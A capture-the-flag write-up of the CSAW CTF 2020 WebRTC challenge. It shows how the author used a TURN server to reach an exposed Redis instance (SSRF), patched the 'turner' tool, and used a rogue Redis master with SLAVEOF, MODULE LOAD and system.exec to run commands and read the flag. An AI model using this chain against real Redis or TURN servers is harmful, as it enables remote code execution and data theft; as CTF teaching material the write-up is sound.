CSAW CTF 2020 WebRTC Writeup


Following content only illustrates how I solve it. If you are interested in learning what is indeed happening, check here

0x00 Challenge



command=gunicorn3 --workers=10 -b app:app


command=timeout 60s redis-server --bind


FROM ubuntu:18.04

RUN adduser --disabled-password --gecos '' www

RUN apt-get update && apt-get install -y coturn redis python3 python3-pip gunicorn3 supervisor

COPY requirements.txt .
RUN pip3 install -r requirements.txt

COPY flag.txt /
RUN chmod 444 /flag.txt

COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
RUN echo 'min-port=49000' >> /etc/turnserver.conf
RUN echo 'max-port=49100' >> /etc/turnserver.conf

COPY app.py .
COPY static static


CMD ["supervisord"]

app.py is indeed just a red herring so I am not gonna put it here.

0x01 Thoughts

Obviously, following line in supervisord config file is suspicious:

command=timeout 60s redis-server --bind

Every security guy should know never bind redis server to Additionally, no password is set for this redis server, which implies this challenge is likely related to SSRF.

And by some chance, I do recall that TURN server could lead to some internal network magics. So, I started to do Googling and found https://hackerone.com/reports/333419. Unfortunately, the report's author is so bad that only a pcap file of pwning TURN server is provided. I have replayed these TCP packets and tried different clients, but none worked. Indeed, I spent ~8 hours on patching https://github.com/pion/turn/ and finally gave up.


After attempting other challenges, I discovered the pattern of this whole CTF:

0x02: SSRF

https://github.com/staaldraad/turner finally works for being an HTTP proxy based on TURN server. However, we somehow need to send TCP packets so as to interact with redis server.

So, being lazy enough, I applied the following change to L106 for main.go to send TCP messages to redis server.

-   methodLine := fmt.Sprintf("%s %s %s\r\n", r.Method, r.URL.Path, r.Proto)
+   methodLine := fmt.Sprintf("INFO\r\n")

And added the following line after L158 to print the response:

+   fmt.Println(string(buf[:n]))

Then, run this script in terminal (go build && ./turner -server web.chal.csaw.io:3478) and set the browser proxy to By visiting, you can find the information of redis server on the terminal.

0x03: RCE

Since the version of redis server in the docker container is 4.x, we can apply this script: https://github.com/n0b0dyCN/redis-rogue-server

However, since I was too lazy to convert the former HTTP proxy to a socks proxy, I directly dumped the commands sent to the redis server by this RCE script:

CONFIG SET dbfilename exp.so
MODULE LOAD ./exp.so
system.exec 'cat /flag.txt'

And patched the RCE script at L218 to make it only as a fake master server (rogue server):

-   try:
-      runserver(options.rh, options.rp, options.lh, options.lp)
-   except Exception as e:
-      error(repr(e))
+   rogue = RogueServer(options.lh, options.lp)
+   rogue.exp()

Then, I again applied the change to L106 for main.go in turner:

-   methodLine := fmt.Sprintf("INFO\r\n")
+   methodLine := fmt.Sprintf("SLAVEOF [YOUR_ROGUE_SERVER_ADDR] 21000\r\nCONFIG SET dbfilename exp.so\r\nMODULE LOAD ./exp.so\r\nsystem.exec 'cat /flag.txt'\r\n")

Finally, run this script again in terminal (go build && ./turner -server web.chal.csaw.io:3478) and set the browser proxy to By visiting and in the meantime constantly restarting rogue server, you can find the flag on the terminal.